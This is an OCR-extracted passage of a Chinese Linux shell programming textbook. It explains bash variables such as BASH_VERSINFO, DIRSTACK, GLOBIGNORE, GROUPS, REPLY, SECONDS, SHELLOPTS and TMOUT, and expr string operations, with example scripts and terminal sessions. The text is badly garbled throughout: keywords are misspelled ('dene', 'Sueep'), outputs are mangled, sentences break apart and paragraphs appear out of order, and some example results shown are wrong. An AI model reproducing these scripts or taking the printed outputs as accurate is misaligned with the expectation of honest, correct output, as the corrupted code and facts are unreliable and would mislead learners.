#!/bin/bash 


























































































































































































































For mm am 0 1 #for 循环 执行 6 次 
do 

echo "BASH VERSINFO[$n]= ${BASH VERSINFO[$n]}" 
dene 


下 面 给 出 例 9-2 的 bashver.sh 脚本 的 执行 结果 , BASH_VERSINFO[0] 表 示 bash Shell 的 主 
版 本 号 ，BASH VERSINFO[1] 表 示 bash Shell 的 次 版 本 号 ，BASH VERSINFO[2] 表 示 bash 
Shell 的 补丁 级 别 ，BASH VERSINFO[3] 表 示 bash Shell 的 编译 版 本 ，BASH VERSINFO[4] 
表示 bash Shell 的 发 行 状态 , BASH VERSINFO[5] 表 示 bash Shell 的 硬件 架构 。 上 述 结 果 是 在 
Fedora Core 11 操作 系统 下 得 到 的 。 
例 9-2 bashver.sh 脚本 的 执行 结果 


[root@zawu shell-program]# chmod u+x bashver.sh 





























[root@zawu shell-program]# ./bashver.sh 
BASH VERSINFO[O =4 
BASH VERSINFO 1]=0 








[ 
BASHEVERSTNEOI2I 16 
BASHIVERS INEOIS]=1 
BASH VERSTNEO[4]=release 
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个 系统 命令 pushd 和 popd 来 给 
工作 目录 切换 到 入 栈 的 目录 ，popd 命令 将 栈 顶 目录 允 
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SEE “nuaxz on 
[root@zawu shell-program]# 


4. BASH_VERSION 








Linux 系统 的 bash Shell 版 本 包含 主 次 版 本 、 和 补丁 级 别 、 编 译 版 本 和 发 行 状 态 ， 即 








三 | 








BASH_VERSINFO 数组 取 值 为 0~4。 例 9-3 显 














# 例 9-3: BASH VERSION 变量 值 


[root@zawu shell-program]# echo $BASH VERSION 


A490-16(1)— release 
[root@zawu shell-program]# 


5. DIRSTACK 

















示 了 BASH VERSION 的 值 。 














它 显 示 目 录 栈 的 栈 顶 值 , 栈 是 一 种 线性 数据 结构 , 遵循 后 进 先 出 (Last In First Out, LIFO ) 































































































当前 工作 目录 切换 到 栈 弹 出 的 目录 。 两 个 命令 
pushd 目录 名 
popd 





E 护 目录 栈 ，pushd 命令 用 于 将 某 目 
Ef 出 ， 栈 顶 元 素 变 为 下 一 个 元 素 ， 同 时 将 


























的 原则 ， 即 最 后 压 入 栈 的 元 素 位 于 栈 顶 ， 它 将 最 早 被 弹出 。 栈 结 
压 入 弹 夹 的 子弹 将 第 一 个 被 射出 。 栈 结构 一 般 有 两 个 动作 : 入 栈 (pushing) 将 元 素 放 入 栈 的 
顶端 ， 出 栈 (poping) 将 顶端 元 素 取 出 。 
Linux 目录 栈 用 于 存放 工作 目录 ， 便 于 程序 员 手 动 探 人 




















构 就 像 是 一 个 子弹 夹 ， 最 后 








央 目 录 的 切换 ，bash Shell 定义 了 两 




















的 格式 如 下 : 


录 压 入 目录 栈 ， 同 时 将 当前 











DIRSTACK 记录 了 栈 顶 目录 值 ， 初 值 为 空 。 另 外 ，Linux 还 有 一 个 命令 dirs 用 于 显示 目 




















录 栈 的 所 有 内 容 ,pushd 和 popd 命令 执行 成 功 将 

















/home/globus 和 /home 是 由 pushd 命令 有 
作 目 录 ， 因 此 ，bash Shell 将 当前 工作 目录 
DIRSTACK， 显 示 为 目录 栈 顶 的 值 ， 第 4 条 命 
命令 打印 DIRSTACK， 显 示 为 新 的 目录 栈 顶 值 : /home。 同 时，| 
pushd 命令 后 ， 工 作 目录 也 随 之 切换 到 入 栈 的 目录 。 














# 例 9-4: 四 条 pushad 命令 后 的 目录 栈 结果 
pushd /home 























Pusiee ous 





pushd /usr 
Pushemloeay 




















目 动 激活 dirs 命令 以 显示 当前 目录 栈 的 内 容 。 








请 看 下 面 的 例 9-4 给 出 的 四 条 命令 ， 连 续 运 行 该 四 条 命令 时 ， 变 量 $9DIRSTACK 保存 最 新 进 
入 目录 栈 的 目录 和 名称， 即 $SDIRSTACK=/ust/local， 目 录 栈 自 顶 到 底 为 : 


/home/globus、/home。 


/usr/local 、/usr、 














# 注 意 : 此 处 以 相对 目录 的 形式 ,将 /home/globus 压 入 目录 栈 























例 9-5 演示 了 目录 栈 和 $DIRSTACK 变量 ， 其 中 第 1 条 和 





/home/globus 压 入 目录 栈 ， 两 条 命令 执行 后 都 显示 了 日 
/home/globus 进 栈 后 ， 目 录 栈 从 顶 到 底 为 : /home/globus、/home 、/asrlocal/shell-program ， 





















































# 例 9-5: 演示 目录 栈 和 $DIRSTACK 变量 
[root@zawu shell-program]# pushd /home 














/home /usr/local/shell-program 
[root@zawu home]# pushd globus/ 


第 2 条 命令 分 别 将 /home、 





录 栈 的 所 有 元 素 ， 我 们 可 以 看 到 ， 





E 入 目录 栈 的 元 素 ，/usr/local/shell-program 是 当前 的 工 
自动 压 入 目录 栈 。 








例 9-5 中 的 第 3 条 命令 打印 


令 popd 将 栈 顶 元 素 /home/globus 出 栈 ， 第 $ 条 














例 9-5 也 可 看 出 ， 每 次 执行 








# 第 1 条 命令 : 将 /home 入 栈 





# 第 2 条 命令 : 将 /home/globus 入 栈 


/home/globus /home /usr/local/shell-program 
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[root@zawu globus]# echo $DIRSTACK # 第 3 条 命令 : 打印 $DIRSTACK 变量 
/home/globus 

[root@zawu globus]# popd # 第 4 条 命令 : 使 栈 顶 元 素 出 栈 
/home /usr/local/shell-program 

[root@zawu home]# echo $DIRSTACK # 第 5 条 命令 : 打印 $DIRSTACK 变量 
/home 


[root@zawu home]# 


6. GLOBIGNORE 
GLOBIGNORE 是 由 冒号 分 隔 的 模式 列表 ， 表 示 通 配 〈8globbing) 时 忽略 的 文件 名 集合 。 
如 3.3 市 所 述 ， 通 配 是 把 一 个 包含 通 配 符 的 非 具体 文件 名 扩展 到 存储 在 计算 机 、 服 务 器 或 者 
网 络 上 的 一 批 具 体 文件 名 的 过 程 , 一旦 GLOBIGNORE 非 空 ，Shell 会 将 通 配 得 到 的 结果 中 符 
合 GLOBIGNORE 模式 中 的 目录 去 掉 。 下 面 通 过 一 个 例子 来 说 明 GLOBIGNORE 的 意义 ， 例 
9-6 中 第 1 条 命令 ls a* 的 作用 是 列 出 当前 目录 以 a 开头 的 所 有 文件 ， 一 共有 14 个 ， 其 中 以 ar 
开头 的 文件 有 9 个 ; 第 2 条 命令 将 GLOBIGNORE 变量 赋 为 ar*， 表 示 以 ar 开头 的 模式 ， 第 
4 条 命令 再 次 执行 ls a* 列 出 以 a 开头 的 所 有 文件 时 ， 发 现 9 个 以 ar 开头 的 文件 已 经 被 剔除 ， 
这 是 因为 append.sed 文件 符合 GLOBIGNORE 所 定义 的 模式 ， 在 通 配 时 被 忽略 。 

例 9-6: 演示 $cLOBIGNORE 变量 的 用 法 

第 1 条 命令 : 列 出 以 字母 a 开头 的 所 有 文件 ， 一 共有 14 个 

root@zawu shell-program]# ls ax 

cH sn nemopsndsson vv va sha av nevalt sn oa 








on 








































































































































































































Bermneesh 

andlae et snemers so em eaveav ev sa ayn 
arelivedereEy sh 
第 2 条 命令 ; 将 GCLOBIGNORE 赋 为 以 ar 开头 的 模式 
root@zawu shell-program]# GLOBIGNORE="ar*" 
root@zawu shell-program]# echo $GLOBIGNORE 
ar* 
第 3 条 命令 : 列 出 以 字母 a 开头 的 文件 时 ， 所 有 以 ar 开头 的 文件 已 经 被 剔除 
root@zawu shell-program]# ls a* 
alias.sh andlistl.sh andlist2.sh anotherres.sh append.sed 
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root@zawu shell-program]# 


7. GROUPS 

GROUPS 记录 了 当前 用 户 所 属 的 群 组 ，Linux 的 一 个 用 户 可 同时 包含 在 多 个 组 内 ， 因 此 ， 
GROUPS 是 一 个 数组 ， 数 组 记录 了 当前 用 户 所 属 的 所 有 和 群 组 号 。Linux 管理 用 户 组 的 文件 是 
/etc/group， 每 个 群 组 对 应 该 文件 中 的 一 行 ， 并 用 冒号 分 成 四 个 域 ，/etc/group 每 一 行 的 格式 
如 下 : 

群 组 名 :加 密 后 的 组 口令 : 群 组 号 :组 成 员 列表 

下 面 摘 取出 Te Core 11 操作 系统 /etc/group 文件 的 前 面 几 行 : 


ea 0 oo 
bin:x lroobt bin dacemon 



















































































daemon:x:2:root,bin,daemon 
SS oo 
adm:x:4:root,adm,daemon 


可 以 看 出 ，root 用 户 同 时 属于 root、bin、daemon、sys 等 群 组 ， 接 着 ， 我 们 看 一 看 root 
用 户 的 GROUPS 变量 的 值 ， 如 例 9-7 所 示 ，$GROUPS=${GROUPS[0]}=0， 是 /etc/group 第 1 
行 root 群 组 的 号 码 ;，${GROUPS[1]}=1， 是 /etc/group 第 2 行 bin 群 组 的 号 码 。 下 面 的 例 9-7 
的 GROUPS 数组 依次 记录 了 root 用 户 所 属 的 所 有 群 组 。 
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例 9-7: root 用 户 的 GROUPS 变量 值 

root@zawu shell-program echo $GROUPS 
0 
root@zawu shell-program echo ${GROUPS[0]} 
0 
root@zawu shell-program echo ${GROUPS[1]} 


root@zawu shell-program echo ${GROUPS[2]} 
及 























root@zawu shell-program 


8. HOSTNAME 

HOSTNAME 记录 了 主机 名 , Linux 主机 名 是 网 络 配 置 时 必须 要 设置 的 参数 , 我 们 一 般 在 
/etc/sysconfig/network 文件 中 设置 主机 名 。/etc/hosts 文件 用 于 设 定 卫 地 址 和 主机 名 之 间 的 对 
应 关系 ， 以 利于 快速 从 主机 名 查找 到 IP 地 址 。 

9. HOSTTYPE 和 MACHTYPE 

HOSTTYPE 和 MACHTYPE 一 样 ， 都 用 于 记录 系统 的 硬件 架构 ， 实 际 上 ， 它 们 与 
BASH _ VERSINFO[5] 也 是 等 值 的 ， 例 9-8 显示 了 HOSTTYPE 和 MACHTYPE 的 值 ， 可 以 看 
到 ， 该 机 器 为 386 架构 的 。 
例 9-8: 显示 HOSTTYPE 和 MACHTYPE 变量 的 值 
root@zawu shell-program]# echo $HOSTTYPE 
i386 
root@zawu shell-program]# echo $MACHTYPE 
ea else Ula oan 

























































































root@zawu shell-programl] 





10. OSTYPE 
OSTYPE 记录 了 操作 系统 类 型 ，Linux 系统 中 ，$OSTYPE=linux。 
11. REPLY 








REPLY 变量 与 read 和 select 命令 有 关 。 因 此 ， 需 要 先 介绍 这 两 个 命令 。 

read 命令 用 于 读 取 标准 输入 《stdin) 的 变量 值 ，stdin 将 在 第 10 草 IO 重 定 向 中 介绍 ,在 
此 ， 读 者 可 以 将 read 命令 简单 理解 为 接受 用 户 的 键盘 输入 ， 交 互 式 Shell 脚本 经 常用 到 read 
命令 。read 命令 的 一 般 格式 为 : 

read variable 


variable 是 变量 名 ，read 将 读 到 的 标准 输入 存储 到 variable 变量 中 。read 命令 也 可 以 不 带 
王 何 变量 名 , 此 时 ,read 就 将 读 到 的 标准 输入 存储 到 REPLY 变量 中 。 下 面 的 例 9-9 说 明 REPLY 
变量 在 read 命令 中 的 用 法 ， 新 建 readreply.sh 脚本 ， 内 容 如 下 : 


# 例 9-9: readreply .sh 演示 REPLY 变量 在 read 命令 中 的 用 法 
#!/bin/bash 
























































有 
































4 第 一部分 

seno nn what us vouremamee, 

read #read 不 带 变 量 名 
echo "Your name is $REPLY" # 打 EN$REPLY 





# 第 二 部 分 
echo -n "What is the name of your father?" 





read fname 
echo "your father's name 1s $fname" 


214 A s 









































元 WW 华 清 远 见 教育 集团 官网 :ww hayj. com 





《Linux Shell 编程 从 初学 到 精通 》 


SCcnoaemegeneNRRRII eRe 

readreply.sh 脚本 分 为 两 部 分 ， 第 一 部 分 用 不 带 变 量 名 的 read 命令 接受 用 户 输入 ,然后 打 
印 REPLY 变量 值 ， 下 面 给 出 readreply.sh 脚本 的 执行 结果 ， 用 户 输入 Jack，$REPLY=Jack， 
这 说 明 read 命令 读 到 的 值 确实 存储 到 了 REPLY 变量 中 ;第 二 部 分 read 命令 后 跟 fname 变量 ， 
然后 分 别 打印 fame 和 REPLY 的 值 ， 从 readreply.sh 脚本 的 执行 结果 可 知 ，$fname=Tom， 这 
说 明 此 时 read 命令 读 到 的 值 存储 到 了 fname 变量 中 ， 而 REPLY 的 值 保 持 不 变 ， 仍 为 Jack。 
例 9-9 readreply.sh 脚本 的 执行 结果 
root@zawu shell-program]# chmod utx readreply.sh 
root@zawu shell-program]# ./readreply.sh 
Was your name2Jaek 
Vevuro nme a #REPLY 变量 的 值 ，read 己 将 从 标准 输入 读 取 的 值 存储 到 REPLY 了 
whathis he name oflyoure fathner2nom 

Your father's name is Tom #fname 变量 的 值 

But the $REPLY is Jack #REPLY 变量 值 保 持 不 变 

[root@zawu shell-program]# 

bash Shell 的 select 命令 源 自 于 Korn Shell， 是 一 种 建立 菜单 的 工具 ， 它 提供 一 组 字符 串 
供用 户 选择 ， 用 户 不 必 完 整地 输入 字符 串 ， 上 只 需 输 入 相应 的 序号 进行 选择 ，select 命令 的 格 


式 如 下 : 


select variable in list 
do 

Shell 命令 1 

Shell 命令 2 

Shell 命令 3 
















































































































































































上 述 select 命令 格式 中 的 list 是 学 符 串 列表 ; select 自动 将 list 形成 有 编号 的 菜单 ， 用 户 
输入 序号 以 后 ， 将 该 序号 所 对 应 的 list 中 的 字符 串 赋 给 variable 变量 ， 而 序号 值 则 保存 到 
REPLY 变量 中 。select 命令 的 do break 语句 段 中 可 以 添加 Shell 命令 ， 对 variable 或 REPLY 
进行 调用 。 

下 面 的 例 9-10 阐述 select 命 令 的 用 法 ,以 及 REPLY 变量 在 select 命令 中 的 含义 。 新建 一 
个 名 为 selectreply.sh 的 脚本 ， 内 容 如 下 : 


# 例 9-10: selectreply.sh 脚本 演示 REPLY 变量 在 select 命令 中 的 用 法 
#!/bin/bash 
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sehen els enoose vour orortfesssione, 
seleet evar in Worker Doctor Teachere Student ,othneree 


do 
echo "The \$REPLY is $REPLY." 
echo "Your Preofession is $vare" 
break 
done 





selectreply.sh 脚本 中 的 select 命令 将 list 设置 为 5 个 字符 串 ， 每 个 字符 串 用 双 引 号 引起 ， 
间 用 空格 分 隔 ，select 命令 的 变量 名 为 var。do break 语句 段 打 印 REPLY 和 var 的 值 。 下 面 
给 出 selectreply.sh 脚本 的 执行 结果 ， 可 以 看 到 ，select 自动 将 list 中 的 字符 串 建成 菜单 ， 并 用 
数字 对 每 个 字符 串 标号 ， 用 户 选择 序号 3， 结 果 显 示 REPLY 变量 值 为 3，var 变量 为 序号 3 
所 对 应 的 字符 串 Teacher。 
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# 例 9-10 selectreply.sh 脚本 的 执行 结果 

[root@zawu shell-program]# chmod u+x selectreply.sh 
[root@zawu shell-program]# ./selectreply.sh 

Pls. choose your profession? 





1) Worker 

2 DOeter 

3) Teacher 

4) Student 

5) Other 

入 3 本 # 用 户 选择 序号 3 

The $REPLY is 3. #REPLY 变量 值 为 3 

vour oreotesesdon recener #var 变量 是 所 选择 序号 所 对 应 的 字符 串 


[root@zawu shell-program]# 


在 上 述 selectreply.sh 脚本 的 执行 结果 中 ， 我 们 注意 到 输入 select 命令 后 ，Shell 提示 符 变 


















































为 “#?”， 该 提示 符 由 Shell 提示 符 变 量 PS3 进行 设置 ,“#?” 是 其 默认 值 。 下 面 的 例 9-11 重 





























新 定义 了 PS3 变量 ， 运 行 selectreply.sh 脚本 后 ，Shell 提示 符 变 成 PS3 的 值 。 











# 例 9-11: 修改 PS3 变量 ， 影 响 select 命令 的 提示 符 
[root@zawu shell-program]# PS3="Pls. Enter:" 





[root@zawu shell-program]# export PS3 
[root@zawu shell-program]# ./selectreply.sh 
Buseenoose veourmeeoteseston 





1) Worker 

DOeEeF 

3) Teacher 

4) Student 

5) Other 

Pls. Enter:4 # 提 示 符 由 原来 的 “#?” 变 为 PS3 变量 的 值 

















The $REPLY is 4. 
Your preofession is Student. 
[root@zawu shell-program]# 


12. SECONDS 
SECONDS 记录 脚本 从 开始 执行 到 结束 所 耗费 的 时 间 ， 以 秒 为 单位 。 下 面 的 例 9-12 说 明 






































SECONDS 变量 的 用 法 ， 新 建 一 个 名 为 runsec.sh 的 脚本 ， 内 容 如 下 : 











# 例 9-12: runsec.sh 脚本 演示 SECONDS 变量 的 用 法 
#!/bin/bash 


T 





# 定 义 两 个 变量 : count 记录 循环 次 数 、MAX 为 while 循环 条 件 
count=1 
MAX=5 


jE 


while [ "$SECONDS" -le "$MAX" ] # 当 SECONDS 小 于 等 于 MAX 时 ， 执 行 循环 体 
do 


echo "This is the $count time to sleep." 





let count=$count+1 
Sueep 2 # 运 行 该 脚本 进程 休眠 2 秒 
done 

















eeneg nese um ne oe ee ei DONS 


runsec.sh 脚本 的 主体 是 一 个 while 循环 ，while 循环 体 的 执行 条 件 是 该 脚本 的 执行 时 间 小 




















于 等 于 MAX 变量 的 值 , 循环 体 语句 首先 打印 进入 循环 体 的 次 数 , 然后 调用 sleep 命令 使 运行 
该 脚本 进程 休眠 2s。 下 面 给 出 了 runsec.sh 脚本 的 执行 结果 ， 该 脚本 共 休 眠 3 次 ， 执 行 时 间 
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为 6s。 

例 9-12 runsec.sh 脚本 的 执行 结果 

root@zawu shell-program]# chmod u+x runsec.sh 
root@zawu shell-program]# ./runsec.sh 

ss Ene J elime eonsleees 

This is the 2 time to sleep. 

This is the 3 time to sleep. 

mer unnme tm ot ennseser ers 








root@zawu shell-program]# 
13. SHELLOPTS 
SHELLOPTS 记录 了 处 于 “ 开 ” 状 态 的 Shell 选项 (options〉 列表 ， 它 是 一 个 只 读 变量 

Shell 选项 用 于 改变 Shell 的 行为 ， 一 个 Shell 选项 有 “ 开 ” 和 “ 关 ” 两 种 状态 。set 命令 用 于 

打开 或 关闭 选项 ， 最 基本 的 两 种 格式 如 下 : 


set -o optionname 打开 名 为 optionname 选项 
set +o optionname 关闭 名 为 optionname 选项 


一 个 set 命 令 可 以 同时 设置 多 个 选项 ， Oe en 或 to 即 可 。 每 个 Shell 
选项 名 有 一 个 简写 ， 如 interactive 选项 的 简写 是 -i， 因 此 ， 可 以 使 用 以 下 两 条 等 价 的 命令 打开 
interactive 选项 : 


set =C interactive 





all 



























































ES 

关闭 interactive 仪 需 将 上 述 两 条 命令 中 的 《“-” 符 号 改 为 “+” 符 号 ， 用 完整 的 选项 名 打 
开 或 关闭 选项 ， 选 项 名 前 需 加 -o 或 +o 符号 ， 但是， 用 简写 打开 或 关闭 选项 时 ， 直 接 用 “一 ” 
或 “+” 简 写 符 号 就 可 以 了 。 下 面 的 例子 演示 了 set 命令 和 SHELLOPTS 的 用 法 ， 例 中 命令 首 
先 开启 noclobber 选项 ， 打 开 选 项 用 的 是 =-o 加 选项 名 的 命令 格式 ， 然 后 显示 SHELLOPTS 变 
量 ， 该 变量 用 冒号 分 隅 记录 Shell 选项 ， 最 后 一 个 选项 就 是 刚 添加 上 去 的 noclobber 选项 。 
noclobber 选项 的 简写 是 C， 因 此 ，set +C 命令 用 于 关闭 noclobber 选项 ，noclobber 选项 也 随 
之 从 SHELLOPTS 变量 中 消失 。 


































































































root@zawu shell-program Set -o noclobber # 开 启 noclobber 选项 

root@zawu shell-program]# echo $SHELLOPTS # 该 变量 的 最 后 一 项 是 noclobber 
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor:noclobber 

root@zawu shell-program Se # 关 闭 noclobber 选项 


root@zawu shell-program echo $SHELLOPTS 
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor 








mootctzaws ne eis 
Shell 选项 有 很 多 ， 限 于 篇 幅 ， 我 们 不 一 一 举例 介绍 ， 仅 将 常用 的 Shell 选项 名 、 简 写 、 
意义 列 于 表 9-1 中 ， 供 读者 查阅 。 
表 9-1 bash Shell 选项 、 简 写 及 其 意义 
选项 名 称 
noclobber 防止 重 定向 时 村 苇 3 





























allexport expor 





norify 后 台 作业 运行 结 
errexit 当 脚本 发 生 第 一 个 错误 时 ， 退 出 脚本 












































noglob 禁止 文件 名 扩展 ， 即 禁用 通 配 (globbing) 
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选项 名 称 
interactive i 使 脚本 以 交互 模式 运行 
noexec 读 取 脚本 中 的 命令 ， 进 行 语法 检查 ， 但 不 执行 这 些 命令 
POSIX o posix 修改 bash 及 其 调用 脚本 的 行为 ， 使 其 符合 POSIX 标准 


privileged 以 suid 身份 运行 脚本 









































restricted 以 受 限 模式 运行 脚本 





stdin 从 标准 输入 (stdin〉 中 读 取 命令 
nounset 当 使 用 未 定义 变量 时 ， 输 出 错误 信息 ， 并 强制 退出 


verbose 在 执行 每 个 命令 之 前 ， 将 每 个 命令 打印 到 标准 输出 (stdout) 



































xtrace 与 verbose 相似 ， 但 是 打印 完整 命令 

无 列 出 双 引 号 内 以 $ 为 前 级 的 字符 串 ， 但 不 执行 脚本 中 的 命令 
无 从 … 中 读 取 命令 

无 第 一 条 命令 执行 结束 就 退出 
无 























选项 结束 标志 ， 后 面 跟 上 位 置 参数 (positional parameter ) 





14. SHLVL 

SHLVL 记录 了 bash Shell 髋 套 的 层次 , 一 般 来 说 , 我 们 启动 第 一 个 Shell 时 , $SSHLVIL=1， 
如 果 在 这 个 Shell 中 执行 脚本 ， 脚 本 中 的 SHLVE 为 2， 如 果 脚 本 再 执行 子 脚 本 ， 子 脚本 中 的 
SHLVL 就 变 为 3。 

15. TMOUT 

TMOUT 变量 用 于 设置 Shell 的 过 期 时 间 ， 当 TMOUT 不 为 0 时 ，Shell 在 TMOUT 秒 后 
将 自动 注销 。 TMOUT 放 在 脚本 中 ,可 以 规定 脚本 的 执行 时 间 。 下 面 的 例 9-13 为 timedread.sh 
脚本 给 出 一 个 TMOUT 变量 用 法 的 例子 。 


# 例 9-13: timedread.s 脚本 等 待 用 户 输入 3 秒 
#!1/bin/bash 




















































































































TMOUT=3 # 脚 本 执行 时 间 是 3 秒 
echo "What is your name?™" 
read fname 





Eamel # 如 果 fname 为 空 
then 

fname=" (no answer)™" 
5 


echo "Your name is $fname" 

timedread.sh 脚本 向 用 户 询 问 姓名 ,如 果 用 户 有 输入 ， 则 脚本 立即 结束 ， 如 果 用 户 没有 输 
入 ， 等 待 TMOUT 秒 后 ， 脚 本 运行 结束 。 下 面 给 出 timedread.sh 脚本 的 执行 结果 。 

# 例 9-13 timedread. sh 脚本 的 执行 结果 

[root@zawu shell-program]# chmod ut+x timedread.sh 


























[root@zawu shell-program]# ./timedread.sh 


What is your name? # 在 此 不 输入 任何 字符 ，3 秒 钟 后 出 现 如 下 结果 
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Your name is (no answer) 
[root@zawu shell-program]# 


字符 串 处 理 全 


bash Shell 提供 了 多 种 字符 串 处 理 的 命令 ， 归结 起 来 有 两 种 , 第 一 种 方法 是 本 书 第 4 草 所 
介绍 的 awk 命令 , 第 二 种 方法 是 本 节 即 将 要 介绍 的 expr 命令 。 种 类 如 此 多 的 字符 串 处 理 命令 
一 方面 使 得 用 户 的 选择 空间 增 大 ， 具 有 较 大 的 灵活 性 ， 男 一 方面 ， 这 导致 命令 语法 不 一 致 ， 
引起 不 必要 的 见 余 。 

expr 是 Linux 中 一 个 功能 十 分 强大 的 命令 , 它 引出 通用 求 值 表达 式 ， 可 以 实现 算术 操作 、 
比较 操作 、 字 符 串 操作 和 逻辑 操作 等 功能 ， 本 节 着 重 介绍 expr 的 字符 串 操作 功能 。 

1. ${#...}# expr length 

bash Shell 提供 多 种 计算 字符 串 长 度 的 方法 ， 如 4.4.7 节 介 绍 的 awk 的 length(s) 函 数 ， 在 
此 ， 再 介绍 两 种 方法 计算 字符 串 长 度 ， 假 设 字符 串 名 为 string， 两 种 方法 的 命令 如 下 : 
${#string} 
expr length 9string 
列 9-14 演示 两 种 计算 字符 串 长 度 的 方法 ， 第 1 条 命令 使 用 echo 显示 ${#string} 的 值 ， 这 
说 明 Shell 将 伐 string} 当做 变量 来 处 理 ， 其 中 存储 的 是 string 字符 串 的 长 度 ， 而 第 2 条 命令 用 
expr length 得 出 $string 的 长 度 。 

例 9-14: 演示 计算 字符 串 长 度 的 两 种 方法 

root@zawu shell-program string="Speeding up small jobs in Hadoop" 

第 1 条 命令 : ${#string} 是 变量 ，echo 显示 其 值 
root@zawu shell-program echo ${#string} 
加 史 
第 2 条 命令 ;$string 上 的 双 引 号 必 不 可 少 

root@zawu shell-program oe ee Ueno 
8 
root@zawu shell-program 
注意 ， 例 9-14 第 2 条 命令 中 $string 上 的 双 引 号 必 不 可 少 ， 因 为 string 中 包含 了 空格 ， 如 
果 不 用 双 引 号 将 $string 引起 ，Shell 认为 expr length 后 面 是 带 了 多 个 参数 ,而 expr length 后 面 
只 能 跟 一 个 参数 ， 因 此 ，Shell 将 报 expr length 命令 语法 错误 ， 如 例 9-15 所 示 。 例 9-15 中 定 
义 sstr 变量 ， 其 赋值 不 包含 空格 ， 因 此 ，$sstr 可 以 不 用 引号 引起 。 

例 9-15: 字符 串 是 否 用 引号 引起 的 区 别 

root@zawu shell-program string="Speeding up small jobs in Hadoop" 

string 包含 空格 ， 不 用 引号 括 起 ， 报 语法 错误 

root@zawu shell-program expr length $string 

expr: 语法 错误 
root@zawu shell-program sstr="Speedingup" 
sstr 不 包含 空格 ， 可 以 不 用 引号 引起 

root@zawu shell-=program expr length $sstr 
0 


root@zawu shell-program 


2. expr index 


expr 的 索引 命令 格式 为 : 

























































































av 










































































































































































pd 
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expr index $string $substring 


expr 索引 命 





1 条 命 
第 2 条 命 


Hadoop， 第 
是 19; 细 








DH 令 的 功能 在 字符 串 $string 上 匹配 $substring 中 字符 第 一 
$string 上 匹配 不 到 $substring 中 的 任何 字符 ，expr index 返回 0。 
例 9-16 演示 expr index 命令 的 用 















































P 先 将 string 的 值 赋 为 : Speeding 

















令 substring 为 job，job 在 string 中 出 现 过 ， 第 一 个 出 现 的 字符 是 j， 位 置 
令 substring 为 hello，string 中 3 























无 hello 字符 串 ， 




















过 ， 第 一 个 出 现 字 符 是 e， 位 置 是 3; 第 3 条 命令 























现 过 ， 第 一 个 出 现 字符 是 p， 尽 管 
中 的 字符 次 序 ， 仍 然 按照 字符 在 string 中 的 出 现 位 置 返回 结果 ， 因 此 ， 该 命令 返 





管 substring 
回 p 字符 出 现 的 位 置 2， 第 4 条 命 
0， 表 示 没 有 找到 匹配 字符 
例 9-16: expr index 命令 的 
shell 















































疝 











root@zawu -program 








root@zawu shell-program 
9 

第 2 条 命令 : hello 没有 都 在 st 
root@zawu shell-program 





root@zawu shell-program 


2 








第 4 条 命令 : 



































reootCzawa shell Broganm 
0 

reotCzewsnell enogram 
3. expr match 
expr match 命令 的 格式 为 : 


expr match $string $substr 


第 3 条 命令 : dp 都 在 string 中 出 现 ， 尽 管 d 字符 在 


次 出 现 的 位 置 ， 


但 是 e、1 和 o 字符 都 出 现 
substring 为 dp，d 和 op 字符 都 在 string 中 出 





中 
寻 




















up small jobs in 
































的 ，1 





d 字符 在 substring 中 是 排 在 p 前 画 






































是 expr index 不 











命令 substring 为 hh，string 中 没有 h 字符 ， 医 








此 ，expr index 





o 


用法 


string="Speeding up small jobs im Hadoop™ 














第 1 条 命令 : job 都 在 string 中 出 现 ， 返 回 第 1 个 匹配 字符 j 的 位 置 19 








expa noe .eee ODS 











ring 中 出 现 ， 返 回 第 1 个 匹配 字符 e 的 位 置 3 
expr index "$string" hello 























前 ， 但 是 仍然 返 世 
expr index "$string" dp 


p 字符 出 现 的 位 置 2 








hh 没有 在 string 中 出 现 ， 返 回 0 


expr ndex "$string™" nn 


ine 


expr match 命令 在 string 的 开头 匹配 substring 字符 串 ， 返 回 匹 配 到 的 substring 字符 串 的 














长 度 ， 若 string 开头 匹配 不 到 substring， 则 返 





例 9-17 演示 expr match 痢 
Hadoop, 第 1 








请 字符 串 


令 substring 为 普通 字符 串 Spe， 
为 small， 尽 管 small 和 string 中 
视 为 未 曾 找到 匹配 ， 返 回 0。 

例 9-17: expr ee 的 用 
root@zawu shell-program 




















下 

















条 命令 substring 为 
串 ， 它 能 匹配 整个 string 字符 串 ， 























回 0。substring 可 以 是 字符 串 ， 也 可 以 是 正则 表 





命令 的 用 法 ，string 的 值 仍 旧 赋 为 : Speeding up small jobs in 








正则 表达 式 S.*， 
因此 ， 
匹配 string 的 前 3 个 字符 ， 返 回 值 为 3; 
出 现 ， 但 是 未 出 现在 string 的 





S.* 表 示 以 S 开头 








-后 国 










































































法 


string="Speeding up small 2 no 














第 1 条 命令 S.* 表 示 以 S 开头 后 
root@zawu shell-program 
玉 肥 




















root@zawu shell-program 























第 2 条 命令 : spe 字符 串 匹 配 长 度 是 3 

















j 跟 任意 字符 的 字符 串 ， 匹 配 string 整个 字符 串 
EDFETnaecrhseric SS 讽 。 
expr match "$string" Spe 

华 清 远 见 教育 集团 





























跟 任意 字符 的 字符 
返回 值 为 32， 等 于 string 字符 串 的 长 度 ; 

第 3 条 命令 
头 处 ， 因 此 ，expr match 命令 


第 2 条 命 
Substring 
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3 

# 第 3 条 命令 : 尽管 small 在 string 中 出 现 过 , 但 是 不 在 string 开头 处 ， 仍 返 
[root@zawu shell-program]# expr match "$string" small 

0 

[root@zawu shell-program]# 


4. 抽取 子 串 
与 计算 字符 串 长 度 一 样 ，bash Shell 依然 提供 两 种 命令 #{...} 和 expr 实现 抽取 子 串 功能 ， 
#{...} 命 令 有 两 种 格式 ， 为 : 


(1) i einor eo ovo otra 
ET 


第 (1) 种 格式 的 命令 从 名 称 为 $string 的 学 符 串 的 第 $position 个 位 置 开 始 抽取 子 串 , 第 (2) 
种 格式 命令 在 第 (1) 种 格式 命令 的 基础 上 添加 了 S$length 变量 ， 表 示 从 名 称 为 $string 的 字符 
串 的 第 $position 个 位 置 开 始 抽取 长 度 为 $length 的 子 串 。 需要 注意 的 是 , #{...} 格 式 的 命令 从 0 
开始 对 名 称 为 $string 的 字符 捉 进 行 标号 。 例 9-18 演示 如 何 使 用 ${string:position} 命 令 抽取 子 
串 ， 例 中 第 1 条 命令 position 为 0， 由 于 string 以 0 开始 标号 ， 所 以 ， 该 命令 将 string 的 整 串 
抽取 出 来 作为 子 串 ;第 2 条 命令 position 为 10， 即 从 标号 为 10 开始 抽取 子 串 ， 标 号 为 10 实 
际 上 是 第 11 个 字符 ， 为 p。 
例 9-18: 演示 使 用 ${string:positionj} 命 令 抽取 子 串 
